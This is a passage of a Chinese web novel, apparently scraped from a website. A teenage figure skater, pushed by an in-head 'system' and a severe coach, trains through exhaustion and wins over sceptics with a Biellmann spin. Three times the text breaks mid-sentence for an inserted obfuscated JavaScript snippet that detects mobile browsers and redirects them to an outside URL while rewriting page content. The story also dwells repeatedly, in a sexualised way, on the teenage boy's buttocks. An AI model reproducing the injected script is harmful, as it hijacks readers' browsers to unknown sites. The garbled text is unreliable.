一个又一个弯过去，楚棠能感觉到自己对身体的控制力正在一点点变强，但他还是不敢尝试三周跳，不过后外点冰一周跳他已经可以稳定完成。 只是左膝偶尔还会传来轻微的酸胀感，但这痛楚非但没有让他退缩，反而像催化剂一样，让他更加疯狂地投入训练。 他想要证明自己。 不仅仅是为了完成系统的任务，也不仅仅是为了那个虚无缥缈的世界冠军，更是为了撕碎那些贴在他身上的标签。 他就是长了张好看的脸又怎样，他的实力只会更加漂亮。 花滑运动员不选好看的，难得还选个五大三粗的上去甩胡子给人看吗。 时间一分一秒地流逝，楚棠完全沉浸在自己的世界里，几乎忘记了疲惫，也忘记了时间。 空旷的冰场只有他一个人滑行的声音，以及那略显粗重的喘息声。 汗水湿透了他的训练服，紧紧贴在身上，勾勒出少年纤细却充满力量感的线条。 尤其是那被系统重点关照过的臀腿曲线，在紧身训练裤的包裹下，显得愈发挺翘紧致，充满了爆发的美感。 如果系统此时没有被静音，一定会疯狂提示【蜜桃臀养成计划】进度条飙升。 不知过了多久，也许是深夜十一点，也许是十二点。 “啪嗒！” 一声轻响，冰场所有的值班照明灯骤然熄灭。 整个世界瞬间被浓稠的黑暗吞噬。 楚棠刚刚完成一个漂亮的后外点冰一周跳，稳稳地落在冰面上，惯性带着他向前滑行了一段距离才停下。 突如其来的黑暗让他微微一怔。 他站在冰场中央，周围是无边无际的寂静和黑暗，只有远处安全出口指示牌散发着微弱的绿光，勉强勾勒出场地的轮廓。 他喘着气，胸口剧烈地起伏着，汗水顺着下巴滴落，砸在冰面上发出细微的声响。 黑暗中，他的眼神却亮得惊人，像两簇燃烧的火焰。 竟然这么快就熄灯了，那就明天再继续。 楚棠用冰刀的尾刃在冰面上轻轻一点，转身朝着那微弱的绿光方向滑去。 13. chapter13 楚棠的呼吸尚未完全平复，胸腔里鼓噪的心跳像是要冲破肋骨，每一次搏动都带着剧烈运动后的灼热和某种难以言喻的亢奋。 就在他即将滑出冰场范围靠近安全出口那冰冷的金属门时，一道低沉而富有穿透力的声音打破了寂静。 “加练？” 声音不大却仿佛带着回音，在这空旷的场馆里激起层层涟漪。 楚棠猛地停下，冰刀在冰面上切割出一道刺耳的嘎吱声，身体因为惯性微微前倾，又被强大的核心力量强行稳住。 他倏地转头，循声望去。 只见阴影之中一道修长挺拔的身影缓缓踱步而出，最终停留在安全出口那微弱的绿光边缘。 是陈默。 他依旧穿着白天的运动外套，双手插在口袋里，脸上的表情隐匿在光影交界处看不真切，但那双深邃的眼眸，即使在昏暗中也依旧锐利如鹰隼，正直直地锁定着冰场中央的楚棠。 教练怎么会在这里？ 那些在更衣室里听到的、带着尖酸刻薄的议论，如同潮水般再次涌上心头，与此刻陈默无声的注视交织在一起，形成一种莫名的压力让楚棠下意识地绷紧了身体。 “教练。”楚棠舔了舔有些干涩的嘴唇，声音带着剧烈运动后的沙哑，他试图让自己的语气听起来和平时一样散漫，但尾音却不易察觉地带上了一丝紧绷，“也没有，我就是睡不着来溜达溜达，顺便再熟悉一下冰感。” 陈默没有立刻说话，只是迈开长腿踏上了冰面。 他没有穿冰鞋，运动鞋踩在冰上发出细微的摩擦声，一步一步不疾不徐地朝着楚棠走来。 “溜达？”陈默终于走到楚棠面前几步远的地方停下，昏暗的光线勾勒出他冷硬的下颌线，“溜达到把基础滑行、压步转弯和后外点冰练到这个时间？” 楚棠听了呼吸一滞。 果然，他都看到了。 一股混杂着被窥破的窘迫和不服输的倔强的情绪涌了上来，楚棠梗着脖子，迎上陈默的目光，语气带上了几分连他自己都未察觉的委屈：“教练不是说落下的训练量，要我自己想办法补回来吗。” “所以你就用这种自残式的方式补？”陈默的语气陡然转厉，目光如炬，仿佛要将楚棠看穿，“你以为花样滑冰是靠蛮力就能练好的？你以为在冰场上耗时间，就能堵住别人的嘴？” 最后那句话，精准地刺中了楚棠内心最敏感的地方。 他猛地抬起头，反驳道：“我没有。” “你没有什么？”陈默逼近一步，强大的气场瞬间笼罩下来，“没有听到那些议论？没有觉得委屈？没有想证明自己不是他们口中的花瓶？” 楚棠的嘴唇翕动了几下，却发现自己一个字也反驳不出来。 是，他都听到了。 所以他才觉得委屈，觉得愤怒。 他以为自己掩饰得很好，却没想到，一切都被这个男人看得清清楚楚。 看着楚棠那副像是被戳穿了心思，既愤怒又不甘，还带着点狼狈的模样，陈默眼底掠过一丝极淡的、几乎不可察觉的波动。 这小子，终究还是个没经历过什么风浪的少年。 骄傲，敏感，又带着一股子不撞南墙不回头的执拗。 陈默的语气稍稍缓和了一些，但依旧带着不容置疑的严厉：“用别人的非议来惩罚自己，是最愚蠢的行为。你今天练得再晚摔得再狠，除了自我感动和加重膝盖负担，还有什么意义？” 楚棠垂下眼睑，浓密的睫毛在眼下投下一小片阴影，遮住了眼底翻涌的情绪。 意义？ 他也不知道。 他只知道，他心里憋着一股火，不发泄出来，他怕自己会真的像那些人说的那样，放弃，逃跑。 他不想当逃兵，尤其是在他才刚刚燃起一点对冰场的热爱之后。 “抬起头来。”陈默的声音再次响起，带着命令的口吻。 楚棠下意识地抬头。 陈默的目光落在他被汗水浸湿、紧贴在身上的训练服上，视线在他因为长时间训练而微微颤抖的双腿上停留了一瞬。 然后，他开口，语气是惯有的冷淡，却带着一种不容错辨的专业审视：“养伤期间的核心训练，没有白费。基础稳定性比受伤前提高了不少。” 楚棠微微一怔，有些意外地看向陈默。 这是在夸他？ “但是。”陈默话锋一转，毫不留情地指出，“你的后外点冰，起跳前的准备姿态还是犹豫，空中轴心不够正，落冰的瞬间左膝有明显的保护性僵硬——这是你潜意识里还在害怕受伤。” “还有。”陈默的视线再次扫过他的身体线条，语气平淡，却掷地有声，“花样滑冰，是技术与艺术的结合。力量、速度、柔韧性，以及身体姿态的美感，缺一不可。” 他顿了顿，看着楚棠因为他的话而明显有些不知所措的表情，继续道：“你很有天赋，无论是身体条件，还是冰感。尤其是你的线条……” 陈默的话在这里停顿了一下，似乎在斟酌用词，最后用一种近乎评价艺术品的口吻说道：“……很适合这项运动。舒展，流畅，富有表现力。特别是蹬冰发力时，从腰胯到腿部的力量传导，如果运用得当，会非常有爆发力，也非常漂亮。” 漂亮？ 楚棠的耳朵微红。 素来以严厉冷酷著称的陈默夸他漂亮，这感觉太诡异了。 比系统天天在他脑子里念叨什么“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575250|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翘屁嫩男”、“蜜桃臀养成”还要让他感到不自在，但偏偏陈默的语气太过坦然和专业，让他生不出半点被调戏的感觉，反而有种被认可、被看穿潜力的奇异感觉。 仿佛他之前那些被队友诟病的花瓶外表，在此刻的陈默眼中，转化成了某种可以被利用的、属于花样滑冰的优势。 “记住。”陈默看着楚棠那双因惊讶和羞赧而显得格外明亮的眼睛，声音低沉而有力，“冰场是靠实力说话的地方。别人的嘴，你堵不住，但你可以用你的成绩让他们闭嘴。” “那些质疑、嘲讽，甚至是赞美你外貌的声音，都可以成为你的燃料。关键在于你如何驾驭它们，将它们转化成你在冰上旋转、跳跃的力量。” “与其在这里进行低效的自我消耗，不如回去好好休息，明天用百分之百的状态来完成我布置的训练计划。” 是啊…… 实力和成绩，这才是最有力的回击。 更衣室那些话带来的憋闷和怒火似乎在陈默这番夹杂着批评、审视，甚至带着点诡异夸赞的话语中，找到了一个宣泄和转化的出口。 楚棠心里那股不服输的傲气被重新点燃并且燃烧得更加旺盛，目标也更加清晰。 “我知道了，教练。”楚棠深吸一口气，抬起头，眼神中的迷茫和委屈被一扫而空，取而代之的是一种近乎锐利的坚定。 汗水顺着他的下颌线滑落滴在胸前，晕开一小片深色的水渍，但他的背脊却挺得笔直，像一株在风雪中淬炼过的劲竹。 陈默看着他眼中的变化，微微颔首，没有再多说什么，只是转身朝着场边走去。 “回去吧。”他的声音消失在阴影里，只留下最后一句，“明早七点，别迟到。” “是，教练。”楚棠大声应道，声音在空旷的冰场里回荡。 黑暗的角落里，陈默并没有立刻离开。 他靠在冰冷的墙壁上，听着冰刀滑行的声音逐渐远去直至消失。 他拿出手机，点开一个加密的相册，里面只有寥寥几张照片。 其中一张赫然是几天前楚棠擅自尝试三周跳，重重摔在冰面上时，被人抓拍到的瞬间。 照片上的少年表情痛苦而扭曲，膝盖以一个不自然的角度弯折着，隔着屏幕都能感受到那份剧痛。 陈默的指尖在那张照片上轻轻摩挲了一下，眼神晦暗不明。 天赋是柄双刃剑。 这小子，需要打磨，更需要引导。 否则那过剩的骄傲和冲动，只会让他像一颗流星绚烂一时，而后迅速陨落。 他收起手机，最后看了一眼空无一人的冰场，彻底融入了更深的黑暗之中。 明天的训练或许可以再加点料了。 14. chapter14 第二天一早，楚棠踏出宿舍楼时晨曦微露，将他的影子拉得斜长。 【宿主，昨夜与教练陈默的深度交流，有效提升您的心理韧性。经检测，‘斗志’属性+5，‘训练渴望’属性+8。‘教练的仁慈’隐藏任务完成度已达25%。】 系统的声音适时响起，带着一丝不易察觉的欣慰。 楚棠挑了挑眉，没理会系统的碎碎念，只是加快了脚步。 七点整，星光国际滑冰俱乐部训练馆。 楚棠是第一个到的，甚至比约定时间早了十分钟。 早早就已经换好了训练服，正在冰场边压腿热身。 “今天也这么早，真转性了啊。”一道带着戏谑的声音从门口传来。 楚棠抬眼，陆昭背着大大的装备包，一脸惊奇地看着他。 阳光少年今天似乎格外精神，发梢还带着水汽，显然也是刚结束晨练。 “管好你自己得了。”楚棠没好气地回了一句，继续着自己的拉伸。 昨晚的对话让他对这些所谓的队友有了新的看法——与其浪费精力去在意，不如把它们当成磨刀石。 陆昭也不生气，反而饶有兴致地走到他身边，也开始热身：“怎么，被教练骂傻了？还是终于开窍，知道花样滑冰不是光靠脸就能玩的？” 楚棠动作一顿，侧头看他，眼神平静无波：“我是不是靠脸，你很快就会知道了。” 那眼神中的沉静与暗藏的锋芒，让陆昭微微一怔。 这小子，好像有哪里不一样了。 “都到齐了？” 陈默的声音如同冰场上的冷气，瞬间让气氛凝重起来。 他依旧是一身黑色运动装，手里拿着一个平板，目光锐利地扫过两人。 “教练早！”陆昭立刻站直，声音洪亮。 楚棠也停下动作，规规矩矩地喊了声：“教练。” 陈默点点头，目光在楚棠身上多停留了两秒，那审视的意味让楚棠下意识挺直了背。 “今天的训练计划，稍作调整。”陈默划开平板，声音不带一丝温度，“陆昭，你先进行常规的跳跃和旋转练习，注意落冰的稳定性和旋转速度。” “是！” “楚棠。”陈默转向他，“你膝盖的伤虽然恢复了，基础滑行和核心也控制有所提升。但正如我昨晚说的，你的技术和艺术表现力都远远不够。” 楚棠抿唇，静静听着。 “所以，今天上午，你的训练内容——”陈默顿了顿，眼中闪过一丝不易察觉的精光，“负重滑行，以及连续小跳组合。” “负重滑行？”楚棠一愣。 那玩意儿他只在视频里见过，通常是力量型选手用来强化下肢爆发力的。 “没错。”陈默示意助理教练拿来一个特制的负重背心和一对沙袋，“背心十公斤，每个沙袋五公斤。先进行基础滑行练习，包括直线滑行、交叉步、压步转弯。每个动作，三十组。” 十公斤背心，再加十公斤沙袋，总共达到了二十公斤。 楚棠算完数，不由倒吸一口凉气。 这对于一个膝盖才刚好利索的人来说，简直是酷刑。 【警告！宿主即将面临高强度负荷训练！预计能量消耗将是平日的三倍！‘翘臀指数’及‘大长腿塑形’进度将获得显著提升！请宿主咬紧牙关，为了完美的臀腿线条，冲啊！】 系统那欠揍的激励再次响起，楚棠却没心情跟它计较。 一旁的陆昭也惊了：“教练，楚棠的伤……” “他的伤，我比你清楚。”陈默打断他，语气不容置喙，“S级的身体潜能，如果连这点负荷都承受不了，那还是趁早改行去当平面模特，别在冰场上浪费时间。” 这话像是淬了冰的针，狠狠扎进楚棠心里。 他猛地抬起头，直视陈默，眼底的倔强和不服输被彻底点燃：“我练。” 不就是二十公斤吗？他死都死过一次了，还怕这个？ 陈默嘴角似乎微不可察地扬了一下，稍纵即逝，快得让人以为是错觉。“穿上。” 楚棠接过负重装备，毫不犹豫地穿戴起来。 沉甸甸的重量压在身上，让他呼吸都为之一滞。双腿像是灌了铅，每挪动一步都异常艰难。 他滑上冰面，尝试着做了几个基础动作，身体不受控制地晃动，冰刀在冰面上划出歪歪扭扭的痕迹。 “稳住核心。”陈默的声音在场边响起，如同鞭子般抽在他身上，“记住你养伤期间练的那些。力量从核心发出，传导到下肢，不要用膝盖硬抗。” 楚棠咬紧牙关，努力调整呼吸和姿势。汗水很快浸湿了他的额发，顺着脸颊滑落。 背心和沙袋像是两座大山，压得他几乎喘不过气。 【核心控制准确率下降至60%！警告！乳酸堆积速度加快！宿主，想想那些嘲讽你的声音！想想海棠花的这个称号，你要让它成为赞美，而不是贬低！】 楚棠能感觉到陈默的目光一直锁定在他身上，那目光如鹰隼般锐利，似乎能穿透他的身体，看到他每一块肌肉的颤抖。 一组……两组……十组…… 楚棠的意识渐渐有些模糊，只剩下机械地重复着动作。 每一次蹬冰，每一次转弯，都像是在和那二十公斤的负重搏斗。 肌肉的酸痛感如同潮水般一波波涌来让他的膝盖也开始隐隐作痛。 “不行了……真的要死了……”这个念头刚一冒出来，就被他狠狠掐断。 不行，他不能放弃。 他要证明给陈默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575251|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看，证明给那些看不起他的人看，他楚棠不是花瓶。 楚棠强行压榨出身体里最后一丝力气，猛地一个蹬冰，身体前冲，交叉步，转弯—— “哐当！” 终究还是没能稳住，重重地摔在了冰面上。 负重背心和沙袋的重量，让这一跤摔得格外瓷实。 他趴在冰冷的冰面上，感觉五脏六腑都错了位，眼前阵阵发黑。 【警告！宿主身体达到短期极限！‘疼痛耐受度（初级）’经验值+50！检测到左膝轻微不适，请注意保护！】 【宿主！挺住！每一次力竭，都是完美臀腿线条的淬炼！距离‘蜜桃臀养成计划’初级目标，还差99%的汗水！】 “咳……咳咳……”楚棠剧烈地咳嗽起来，狼狈不堪。 陆昭下意识想上前扶他，却被陈默一个眼神制止了。 陈默缓步走到楚棠面前，居高临下地看着他，脸上没有任何表情：“起不来了？” 楚棠撑着冰面，试图站起来，但双腿却像灌了水泥一般沉重，根本使不上力。 他咬着牙，额头上青筋暴起，试了几次都以失败告终。 就在他几乎要绝望的时候，陈默的声音再次响起，依旧是那种冷硬的调子。 “看看你的狼狈样。”陈默的声音很轻，却像重锤一样砸在楚棠心上，“这就到极限了？那些嘲笑你的人，现在一定很高兴。” 楚棠猛地抬起头，通红的眼睛死死瞪着陈默。 “不甘心？”陈默挑眉，“不甘心就站起来！用你的动作告诉我，你不是废物。” “站起来，楚棠。” 这一声，仿佛带着某种魔力，穿透了楚棠的耳膜，直击灵魂深处。 是啊，他怎么能在这里倒下。 楚棠也不知从哪里来的力气，双手猛地一撑冰面，双腿肌肉瞬间绷紧，竟然奇迹般地晃晃悠悠站了起来。 虽然姿势难看，虽然身体摇摇欲坠，但他确实站起来了。 汗水和冰屑混杂在一起，糊了他一脸，但他此刻的眼神，却亮得惊人，如同黑夜中被点燃的星辰。 【叮！恭喜宿主成功突破短期身体极限！‘意志力’属性+2！‘核心控制’经验值+30！‘教练陈默好感度’+2！】 【‘翘臀指数’微幅提升0.05%！宿主，你离‘冰上娇花，臀冠天下’的目标又近了一步！】 陈默看着摇摇晃晃却死不肯倒下的楚棠，那双深邃的眼眸中，终于掠过一抹难以掩饰的激赏。 这小子，骨头够硬。 “很好。”陈默的声音里，第一次带上了一丝几不可闻的赞许，“休息五分钟，然后继续。” “是……教练。”楚棠喘着粗气，声音嘶哑，但腰杆却挺得笔直。 15. chapter15 五分钟的休息时间转瞬即逝。 楚棠重新回到冰场中央，身上那二十公斤的负重仿佛已经与他融为一体，每一次呼吸都带着沉重的压迫感。 接下来的训练，依旧是地狱模式。 高强度的负重滑行，穿插着连续的小跳组合。每一次蹬冰，每一次跳跃，都像是在挑战身体的极限。 汗水模糊了视线，肌肉的尖叫声在楚棠脑海中回荡，膝盖的隐痛也越来越清晰。 【警告！宿主膝关节负荷已达临界点！建议立刻停止训练！】 系统的警告声尖锐刺耳。 楚棠咬碎了牙，充耳不闻。 停止？怎么可能！ 他能感觉到陈默那双鹰隼般的眼睛始终锁定着他，带着审视，也带着一丝若有若无的期待。 他不能让那丝期待落空。 “再来一组！”楚棠嘶吼着，用尽最后一丝力气，完成了最后一个动作。 当他终于停下时，整个人如同从水里捞出来一般，摇摇欲坠，却始终没有再摔倒。 【叮！恭喜宿主完成超负荷训练任务！‘意志力’+5！‘核心力量’+20%！‘下肢爆发力’+15%！‘疼痛耐受度（初级）’经验值+200，升级为‘疼痛耐受度（中级）’！】 【‘翘臀指数’提升0.5%！‘大长腿塑形’进度+10%！恭喜宿主，您的臀腿线条正朝着完美比例飞速迈进！坚持下去，花滑王座非你莫属！】 陈默走了过来，递给他一瓶运动饮料：“喝了，然后去拉伸放松。下午，技术动作细化。” 声音依旧冷硬，但楚棠却从中听出了一丝不易察觉的松动。 “是，教练。”他接过饮料，一口气灌下大半，火辣辣的喉咙才算舒服了些。 一旁的陆昭早就看呆了，凑过来拍了拍楚棠的肩膀：“行啊你，楚棠！以前怎么没发现你这么能抗？” 楚棠瞥了他一眼，扯了扯嘴角，想说什么，却发现自己连开口的力气都快没了。 最终，只是哼了一声，扶着栏杆慢慢走向场边。 他要变强，强到让所有人都闭嘴。 日子就在这样日复一日的魔鬼训练中飞速流逝。 转眼间，又是半个月过去。 魔鬼训练的成果斐然，楚棠的身形愈发挺拔修长，原本就出众的五官因为汗水的打磨和意志的淬炼，更添了几分凌厉的俊美。 尤其是那被系统念叨了无数遍的臀腿线条，已然初具教科书般的雏形，紧实而富有弹性，充满了力量感。 【恭喜宿主！‘翘臀指数’已达65%！‘大长腿塑形’计划完成度70%！当前身体数据评估，您已具备S级花滑选手的基础体格！请再接再厉，向着‘世界第一翘屁嫩男’的目标前进！】 系统的日常播报，楚棠已经能做到左耳进右耳出。 这天下午，训练结束后，陈默突然宣布：“下周末，俱乐部内部对抗赛。根据成绩，选拔两人参加下个月的市级邀请赛。” 此言一出，训练馆内的气氛顿时紧张起来。 市级邀请赛，虽然级别不高，但对于这些年轻选手而言，却是难得的展示机会。 楚棠的心也微微一动。 他来这里，可不是为了混日子的。 陆昭用胳膊肘碰了碰他，挤眉弄眼：“楚棠，机会来了啊！到时候可别掉链子，不然‘冰上娇花’的名头可就真坐实了。” “滚蛋。”楚棠没好气地怼回去，眼神却亮得惊人，“你顾好你自己吧，别到时候被我甩在后面哭鼻子。” “嘿！谁哭鼻子还不一定呢！”陆昭不服气地扬了扬下巴。 一周的时间，在紧张的备战中一晃而过。 俱乐部内部对抗赛，如期举行。 小小的俱乐部冰场，此刻却挤满了人。 除了参赛选手和教练，还有不少俱乐部的工作人员和其他项目的学员也闻讯赶来看热闹。 楚棠换上了一身宝蓝色的训练服，更衬得他肤白胜雪，身姿挺拔。 他站在场边，深吸一口气，努力平复着略显急促的心跳。 【宿主，不要紧张。根据数据显示，您目前的综合实力足以应对本次比赛。记住，您是为了美貌而战，为了世界冠军而战！】 “闭嘴。”楚棠在心里默默回了一句。 比赛按照抽签顺序进行。 陆昭排在楚棠前面，他选择了一首节奏明快的曲子，整套动作行云流水，跳跃高度和旋转速度都相当出色，引来阵阵掌声。 “陆昭这小子，进步不小啊。”观众席上，有相熟的教练低声议论。 陈默面无表情地看着，只是在陆昭完成一个漂亮的后外点冰三周跳后，微微点了点头。 很快，轮到楚棠了。 “下一位，楚棠。” 当他的名字被念到时，场边响起一阵细微的议论声。 “就是那个空降来的，长得特好看那个？” “听说天赋很高，S级的潜力呢。” “切，天赋再高有什么用，之前不还因为逞强受伤了吗？我看就是个花架子。” “花瓶嘛看看就好，别太期待。” 这些声音不大，却一字不落地飘进楚棠耳朵里。 他面无表情地滑入场中，在冰场中央站定。 音乐响起，是一首悠扬而富有力量感的钢琴曲。 楚棠动了。 他的滑行比之前更加流畅自如，充满了韵律感。 开场的几个跳跃，后内点冰三周，后外结环三周，都完成得干净利落，落冰稳健。 场边的议论声渐渐小了下去。 陈默依旧是那副古井无波的表情，但眼神却专注了许多。 楚棠完全沉浸在自己的表演中。这些日子以来的艰苦训练，那些汗水与伤痛，此刻都化作了冰刀下的力量与激情。 他不仅仅是在完成动作，更是在表达一种不屈的意志。 随着音乐进入高潮，楚棠开始加速。 他要做那个动作了。 那个在他养伤期间，看着视频，在脑海中演练了无数遍的动作。 也是系统根据他的身体数据，判断他目前最有可能完成的高难度动作之一。 只见他左腿支撑，冰刀深深嵌入冰面，身体微微后仰，右腿如一弯新月般向后高高扬起，被右手轻松抓住冰刀，并向头部拉近。 他的上半身极致后仰，头部几乎要触碰到扬起的冰刀，整个身体呈现出一个惊心动魄的弧度，柔韧性与力量感完美结合。 “那是……贝尔曼旋转！”有识货的观众失声惊呼。 贝尔曼旋转，花样滑冰中最具观赏性的旋转动作之一，对选手的柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575252|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韧性、平衡感和核心力量要求极高，通常是女选手的标志性动作，男选手能做到的凤毛麟角，能做得如此舒展优美的更是罕见。 冰面上，楚棠如同一朵在寒冰中绽放的蓝色妖姬，身体以一个不可思议的角度高速旋转。 那极致的柔韧，惊人的平衡，以及近乎妖异的美感，瞬间攫住了所有人的目光。 【警告！宿主正在执行超高难度动作‘贝尔曼旋转’！‘翘臀指数’因动作标准度与美感，临时飙升1.5%！‘柔韧性’属性临时突破上限！‘平衡感’属性临时提升20%！】 【啊啊啊！宿主！太美了！这腰！这腿！这屁股！简直是上帝的杰作！冰上海棠花，名副其实！】 系统激动得几乎语无伦次。 整个训练馆，一时间落针可闻。 所有人都被眼前这一幕震撼了。 他们仿佛看到的不是一个刚接触花滑不久的新人，而是一位经验丰富、技艺精湛的顶尖选手。 尤其是楚棠那在旋转中依旧保持稳定且优美的身体线条，那因极致后仰而更显挺翘的臀部和绷得笔直的大长腿，构成了一幅极具视觉冲击力的画面。 “我的天……”陆昭张大了嘴巴，喃喃道，“这家伙……是怪物吗？” 他知道楚棠最近练得很苦，也知道他进步神速，但万万没想到，楚棠竟然能做出如此惊艳的贝尔曼旋转。 就连一向以严苛著称的陈默，此刻那双深邃的眼眸中，也终于泛起了一丝难以掩饰的波澜，如同平静的湖面投入一颗灼热的石子，激起层层涟漪。 这小子竟然真的做到了！而且比他预想的还要好！ 旋转结束，楚棠稳稳地落冰，接上一段流畅的步法，最后以一个帅气的姿势结束了整套表演。 短暂的寂静之后，雷鸣般的掌声骤然爆发。 “太棒了！” “这贝尔曼！简直神了！” “他真的是新人吗？这水平可以直接去参加全国赛了吧！” 之前那些质疑和嘲讽的声音，此刻荡然无存，取而代之的是由衷的惊叹与赞美。 楚棠胸口剧烈起伏，额头上渗着细密的汗珠，但他却挺直了脊背，坦然接受着众人的注视。 他用这个堪称完美的贝尔曼，狠狠扇了那些质疑他的人一记无形的耳光。 从今天起，他要让海棠花这个称呼，成为他荣耀的加冕。 【叮！恭喜宿主完成俱乐部内部对抗赛，表现惊艳！‘观众缘’+5！‘自信心’+10！‘花滑技术综合评分’提升至C+级！】 【教练陈默好感度+10！当前好感度：友善。】 【队友陆昭震惊度+50，崇拜度+20！】 【隐藏任务‘证明自我’完成度30%！请宿主继续努力，用实力碾压一切质疑，让‘冰上娇花’的称号响彻世界！】 系统面板疯狂刷新，楚棠却只是微微扬起了下巴，眼底闪烁着如星辰般璀璨的光芒。 陈默缓步走到场边，看着喘息未定却目光灼灼的楚棠，一向冷硬的脸上，罕见地露出了一丝几不可察的弧度。 “还不错。” 简单的三个字，对于陈默而言，已是极高的赞扬。 楚棠咧嘴一笑，露出一口白牙，带着少年特有的张扬与得意：“教练，市级邀请赛的名额，我预定了。”